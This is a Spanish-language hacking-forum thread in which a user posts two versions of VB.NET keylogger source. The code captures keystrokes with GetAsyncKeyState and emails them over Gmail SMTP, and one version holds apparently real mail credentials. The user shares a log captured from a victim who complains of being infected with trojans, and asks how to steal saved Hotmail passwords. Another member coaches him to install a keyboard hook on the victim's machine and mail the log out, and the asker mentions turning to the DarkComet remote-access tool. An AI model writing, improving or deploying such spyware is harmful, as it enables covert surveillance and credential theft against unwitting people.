Bueno cree un keylogger con el siguiente código.
CitarImports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class
Cuando te llega al hotmail te llega de está manera con estos símbolos, quisiera saber como ponerlo para que salga normal lo que escribe.
CitarQE ES ¡Û
¡NO ME SALE
NADA
QUITAMELO
½¾½Û
¡ ¡MIF GUE
JO ODAS
YA ME E METES TROYANOS¾¾
ENCIMA DE K TE SUBO ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡
KITAMELO
½¾½Û
½
MIGUE ¡Û
KITAMELO TIO
DIO ¢ ¢ ¢ ¢ SCUCHO
¢ ¢ ¤ ¤ ¤.CO ¢ EN PROCESOS NO
¡Û
COMO
SE LLAMA
¡Û
NO ME SALE
FORM JODER TIO
K NO ¢
PERO
MIRA
NO HAY NADA DE ESO
A K LE DOI
¡0Û
YA LE DI
NO SALE NADA
NO SALE TIO
NADA
K ASKO
NL
K *****
Y una pregunta sería posible que ese keylogger recopilara todas las contraseñas guardadas en el pc con los hotmail... ? se supone que si pero nose muy bien si me hechan una mano por donde va la cosa... muchas gracias. ;D
Ya te di un consejo en este post: http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html (http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html).
No necesitas volver a postear. Lo que debes hacer es instalar un hook de teclado en el ordenador de la víctima y que éste escriba las teclas pulsadas en un log el cual se enviara por el metodo descrito arriba a tu correo. Busca mi post sobre hooks y ahi tendrás la respuesta.
Necesitarias modificarlo un poco para que capture ciertas teclas que por defecto el hook no interpreta correctamente. El uso de GetAsyncKeyState() no es recomendado en keyloggers.
Saludos!
Cita de: kub0x en 19 Octubre 2012, 16:08 PM
Ya te di un consejo en este post: http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html (http://foro.elhacker.net/net/keylogger_remoto_mail-t373717.0.html).
No necesitas volver a postear. Lo que debes hacer es instalar un hook de teclado en el ordenador de la víctima y que éste escriba las teclas pulsadas en un log el cual se enviara por el metodo descrito arriba a tu correo. Busca mi post sobre hooks y ahi tendrás la respuesta.
Necesitarias modificarlo un poco para que capture ciertas teclas que por defecto el hook no interpreta correctamente. El uso de GetAsyncKeyState() no es recomendado en keyloggers.
Saludos!
Este tutorial me serviría?
http://foro.elhacker.net/programacion_vb/vb6_creacion_de_un_keylogger_avanzado_hook-t264469.0.html
Podría servirte, aunque el uso de VB6 no es recomendable en VB .NET. Simplemente asegurate de llamar de forma correcta a las APIs que tienes que utilizar (SetWindowsHook, call.. y unhook...) que las puedes encontrar en Pinvoke, una web muy recomendable para buscar ejemplos de APIs aplicadas a .NET
Seguramente algún trozo del código lo tendrás que modificar para que funcione, pero la mayoría ya lo tienes completado. Si te surge alguna duda ya sabes.
Saludos!
Cita de: kub0x en 19 Octubre 2012, 16:38 PM
Podría servirte, aunque el uso de VB6 no es recomendable en VB .NET. Simplemente asegurate de llamar de forma correcta a las APIs que tienes que utilizar (SetWindowsHook, call.. y unhook...) que las puedes encontrar en Pinvoke, una web muy recomendable para buscar ejemplos de APIs aplicadas a .NET
Seguramente algún trozo del código lo tendrás que modificar para que funcione, pero la mayoría ya lo tienes completado. Si te surge alguna duda ya sabes.
Saludos!
estuve leyendo que Hook es para keyloggers locales y no remotos, ¿ Eso es así? o tiene alguna solucción ando un tanto perdido.
No hace diferencia la forma en la que funciona el Keylogger. Tu haces el Keylogger en modo Hook este se ejecuta en el equipo infectado y saca los datos hacia otro equipo a través de cualquier forma de comunicación eso es lo que implica lo "Remoto".
Encontre este código serviría?
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
RichTextBox1.Text = RichTextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Start()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("your email address")
MyMailMessage.To.Add("your email address")
MyMailMessage.Subject = ("Keylogger")
MyMailMessage.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com or your host")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("your email address", "your password")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
RichTextBox1.Text = ("")
End Sub
End Class
Fíjate que es el mismo código que utilizas tú solo que en vez de usar un control TextBox utiliza un RichTextbox. Lo que te estoy diciendo es que te olvides de GetAsyncKeyState() e investigues sobre hooks de teclado :P Por cierto, con hooks no necesitarias timers para controlar los eventos que se producen al pulsar una tecla, éstos se encargan previamente de interceptar el mensaje producido por la pulsación de cierta tecla antes de que llegue al sistema.
Por cierto, ¿cambiaría el funcionamiento del code utilizando un RichTextbox? (aunque lo dudo mucho).
Saludos!
Cita de: kub0x en 19 Octubre 2012, 17:25 PM
Fíjate que es el mismo código que utilizas tú solo que en vez de usar un control TextBox utiliza un RichTextbox. Lo que te estoy diciendo es que te olvides de GetAsyncKeyState() e investigues sobre hooks de teclado :P Por cierto, con hooks no necesitarias timers para controlar los eventos que se producen al pulsar una tecla, éstos se encargan previamente de interceptar el mensaje producido por la pulsación de cierta tecla antes de que llegue al sistema.
Por cierto, ¿cambiaría el funcionamiento del code utilizando un RichTextbox? (aunque lo dudo mucho).
Saludos!
:@ que dolor de cabeza >.< creo que are DarkComet mientras investigo sobre los hooks muchas gracias Kub0x